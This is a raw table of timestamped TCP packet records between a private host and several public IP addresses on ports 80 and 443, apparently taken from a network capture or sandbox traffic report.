Aug 5, 2024 12:00:55.624620914 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.624631882 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.624638081 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.624644041 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.624670982 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.624675989 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.624684095 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.624695063 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.624706984 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.624718904 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.624761105 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.624907970 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.624919891 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.624931097 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.624959946 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.624969959 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.624973059 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.624973059 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.624988079 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.625003099 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.625015020 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.625036001 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.625036001 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.625180960 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.625204086 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.625247955 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.681929111 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.711350918 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.715521097 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.722707987 CEST	80	49837	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:55.725800991 CEST	49837	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:55.744682074 CEST	443	49857	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:55.744779110 CEST	49857	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:55.745460987 CEST	443	49857	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:55.745508909 CEST	49857	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:55.797195911 CEST	443	49858	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:55.797782898 CEST	49858	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:55.799541950 CEST	443	49859	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:55.799633026 CEST	49859	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:55.800292969 CEST	443	49859	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:55.800374031 CEST	49859	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:55.971908092 CEST	443	49860	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:55.971976995 CEST	49860	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.000929117 CEST	49857	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.000956059 CEST	443	49857	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.001180887 CEST	49858	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.001219034 CEST	443	49858	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:56.001301050 CEST	443	49857	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.001349926 CEST	49857	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.001921892 CEST	49858	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.001935959 CEST	443	49858	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:56.002382994 CEST	49857	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.006334066 CEST	49859	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.006352901 CEST	443	49859	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.007296085 CEST	443	49859	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.007373095 CEST	49859	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.007879972 CEST	49859	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.048507929 CEST	443	49857	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.048543930 CEST	443	49859	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.113987923 CEST	49860	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.114012957 CEST	443	49860	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:56.114175081 CEST	49860	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.114181042 CEST	443	49860	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:56.297065020 CEST	443	49857	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.297122955 CEST	49857	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.297142982 CEST	443	49857	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.297185898 CEST	49857	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.298569918 CEST	443	49857	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.298614025 CEST	49857	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.298634052 CEST	443	49857	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.298671961 CEST	49857	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.299607038 CEST	49857	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.299628973 CEST	443	49857	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.300591946 CEST	49861	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.300630093 CEST	443	49861	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.300750971 CEST	49861	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.301868916 CEST	49861	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.301882982 CEST	443	49861	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.323533058 CEST	443	49859	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.323604107 CEST	49859	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.323613882 CEST	443	49859	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.323663950 CEST	49859	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.323808908 CEST	49859	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.323908091 CEST	443	49859	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.323962927 CEST	49859	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.324561119 CEST	49862	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.324573040 CEST	443	49862	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.324629068 CEST	49862	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.324863911 CEST	49862	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.324876070 CEST	443	49862	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.341538906 CEST	443	49858	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:56.341588974 CEST	443	49858	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:56.341595888 CEST	49858	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.341612101 CEST	443	49858	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:56.341625929 CEST	49858	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.341662884 CEST	49858	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.341669083 CEST	443	49858	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:56.341701984 CEST	443	49858	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:56.341711998 CEST	49858	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.341744900 CEST	49858	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.342252970 CEST	49858	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.342266083 CEST	443	49858	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:56.342902899 CEST	49863	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.342921972 CEST	443	49863	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:56.342983961 CEST	49863	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.343281031 CEST	49863	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.343291044 CEST	443	49863	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:56.512028933 CEST	443	49860	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:56.512090921 CEST	49860	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.512108088 CEST	443	49860	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:56.512151003 CEST	49860	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.512173891 CEST	443	49860	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:56.512216091 CEST	49860	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.512259960 CEST	443	49860	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:56.512304068 CEST	49860	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.518245935 CEST	443	49860	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:56.518300056 CEST	49860	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.518371105 CEST	443	49860	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:56.518412113 CEST	49860	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.777746916 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:56.782862902 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:56.782946110 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:56.784584045 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:56.789341927 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:56.945727110 CEST	443	49861	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.945827961 CEST	49861	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.946532011 CEST	443	49861	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.946681976 CEST	49861	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.974528074 CEST	443	49863	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:56.974626064 CEST	49863	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:56.992527962 CEST	443	49862	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.992611885 CEST	49862	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:56.993424892 CEST	443	49862	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:56.993539095 CEST	49862	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:57.239500046 CEST	80	49709	69.42.215.252	192.168.2.7
Aug 5, 2024 12:00:57.239584923 CEST	49709	80	192.168.2.7	69.42.215.252
Aug 5, 2024 12:00:57.890481949 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:57.890883923 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:57.890896082 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:57.890957117 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:57.891923904 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:57.891935110 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:57.891973972 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:57.893659115 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:57.893670082 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:57.893726110 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:57.895416021 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:57.895426035 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:57.895431995 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:57.895474911 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:57.896987915 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:57.897625923 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:57.897636890 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:57.897696018 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.016984940 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.238138914 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.238445044 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.238460064 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.238523960 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.239423037 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.239429951 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.239516973 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.240457058 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.240472078 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.240539074 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.241610050 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.241625071 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.241734982 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.242758989 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.242774963 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.242830038 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.243921995 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.243942976 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.243956089 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.243984938 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.244013071 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.326535940 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.407948017 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.538703918 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.538971901 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.538986921 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.539071083 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.539589882 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.539604902 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.539643049 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.540750027 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.540765047 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.540857077 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.541331053 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.541347027 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.541454077 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.542352915 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.542367935 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.542419910 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.543500900 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.543526888 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.543591022 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.544493914 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.544507027 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.544538975 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.545543909 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.545556068 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.545567036 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.545577049 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.545629025 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.815448046 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.815706968 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.815718889 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.815781116 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.816114902 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.816128016 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.816169977 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.816968918 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.816981077 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.817070007 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.817653894 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.817665100 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.817684889 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.818500042 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.818511009 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.818525076 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.818552971 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.818574905 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.819350004 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.819360971 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.819422960 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.820221901 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.820234060 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.820244074 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.820275068 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.821063995 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.821075916 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.821103096 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:58.821919918 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.821932077 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:58.821959972 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.017030954 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.148277044 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.148453951 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.148464918 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.148564100 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.148861885 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.148873091 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.148915052 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.149585962 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.149597883 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.149627924 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.150161028 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.150218964 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.150474072 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.150486946 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.150551081 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.151206970 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.151218891 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.151326895 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.151930094 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.151942015 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.152003050 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.152673960 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.152686119 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.152734995 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.153399944 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.153412104 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.153422117 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.153491020 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.154134989 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.154148102 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.154158115 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.154203892 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.154203892 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.237323046 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.313848972 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.495764971 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.495878935 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.495889902 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.495955944 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.496423006 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.496436119 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.496459961 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.496972084 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.496983051 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.496994019 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.497067928 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.497067928 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.497665882 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.497678041 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.497688055 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.497729063 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.498552084 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.498564005 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.498574018 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.498619080 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.498656034 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.499660015 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.499672890 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.499682903 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.499762058 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.500041962 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.500055075 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.500066042 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.500106096 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.500133038 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.500904083 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.500916004 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.500926971 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.500937939 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.501020908 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.584178925 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.704457998 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.823826075 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.823964119 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.823976040 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.824043989 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.824479103 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.824542046 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.824620008 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.824924946 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.824935913 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.824949980 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.824959993 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.825018883 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.825709105 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.825720072 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.825815916 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.826253891 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.826265097 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.826277018 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.826325893 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.827033997 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.827045918 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.827056885 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:00:59.827090025 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:00:59.827264071 CEST	49864	80	192.168.2.7	27.221.16.179
